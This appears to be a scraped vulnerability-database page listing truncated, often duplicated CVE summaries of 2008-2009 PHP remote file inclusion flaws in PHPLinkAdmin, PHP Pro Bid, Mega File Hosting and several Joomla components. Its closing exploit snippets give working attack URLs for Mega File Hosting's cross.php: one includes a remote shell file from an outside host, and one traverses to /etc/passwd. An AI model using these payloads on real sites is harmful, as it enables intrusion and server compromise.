CVE-2009-1025

The CVE-2009-1025 entry concerns Beerwin PHPLinkAdmin 1.0, where a PHP remote file inclusion in linkadmin.php via the page parameter allows remote attackers to execute arbitrary PHP code. The vulnerability is described as a PHP RFI with an impact rating of High (CVSSv2 base score 7.5). Public ref...

Remote file inclusion

PHP remote file inclusion vulnerability in includes/classimage.php in PHP Pro Bid 6.05, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the fileExtension parameter. NOTE: the provenance of this information is unknown; the details are obtained...

Remote file inclusion

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2009-0970

PHP remote file inclusion vulnerability in includes/classimage.php in PHP Pro Bid 6.05, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the fileExtension parameter. NOTE: the provenance of this information is unknown; the details are obtained...

CVE-2008-6491

The CVE-2008-6491 entry affects PHPGKit 0.9, where the PHP remote file inclusion flaw resides in the connexion.php module. An attacker can cause arbitrary PHP code execution by supplying a URL in the DOCUMENT_ROOT parameter, enabling remote code execution via a crafted request. This vulnerability...

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

CVE-2008-6491

PHP remote file inclusion vulnerability in connexion.php in PHPGKit 0.9 allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2009-0970

PHP Pro Bid 6.05 contains a remote file inclusion vulnerability in includes/class_image.php that is exploitable when register_globals is enabled. An attacker can supply a URL in the fileExtension parameter to cause the remote code to be executed (arbitrary PHP code). The description comes from CV...

CVE-2009-0966

Affected product/variant: YABSoft Mega File Hosting 1.2 (cross.php). Vulnerability: PHP remote file inclusion via the url parameter in cross.php, enabling execution of arbitrary PHP code. NOTE: can also include and execute arbitrary local files using .. sequences. Impact (as documented): arbitrar...

Remote file inclusion

PHP remote file inclusion vulnerability in admin.googlebase.php in the Ecom Solutions VirtueMart Google Base aka comgooglebase or Froogle component 1.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2008-6482

PHP remote file inclusion vulnerability in admin.treeg.php in the Flash Tree Gallery comtreeg component 1.0 for Joomla!, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the mosConfiglivesite parameter...

CVE-2008-6483

PHP remote file inclusion vulnerability in admin.googlebase.php in the Ecom Solutions VirtueMart Google Base aka comgooglebase or Froogle component 1.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in admin.treeg.php in the Flash Tree Gallery comtreeg component 1.0 for Joomla!, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the mosConfiglivesite parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in slideshowuploadvideo.content.php in SharedLog, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootdir parameter...

CVE-2008-6483

CVE-2008-6483 is a PHP remote file inclusion vulnerability in the Joomla! extension VirtueMart Google Base (com_googlebase) 1.1, affecting the admin.googlebase.php module. The root cause is improper handling of the mosConfig_absolute_path parameter, allowing an attacker to supply a URL that cause...

CVE-2008-6483

PHP remote file inclusion vulnerability in admin.googlebase.php in the Ecom Solutions VirtueMart Google Base aka comgooglebase or Froogle component 1.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2008-6486

CVE-2008-6486 refers to a PHP remote file inclusion in SharedLog’s slideshow_uploadvideo.content.php when register_globals is enabled, allowing an attacker to execute arbitrary PHP code via a URL supplied to GLOBALS[root_dir]. The connected records corroborate the vulnerability description across...

CVE-2008-6482

CVE-2008-6482 affects Joomla!’s Flash Tree Gallery (com_treeg) 1.0. A PHP remote file inclusion (RFI) flaw in admin.treeg.php allows an attacker to execute arbitrary PHP code via the mosConfig_live_site parameter when register_globals is enabled. This is caused by missing validation in the RFI pa...

Mega File Hosting Script 1.2 RFI / LFI

Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

Exploit for unknown platform in category web applications ============================================================== Mega File Hosting Script 1.2 cross.php url RFI Vulnerability ============================================================== Mega File Hosting || Remote/Local File inclusion For...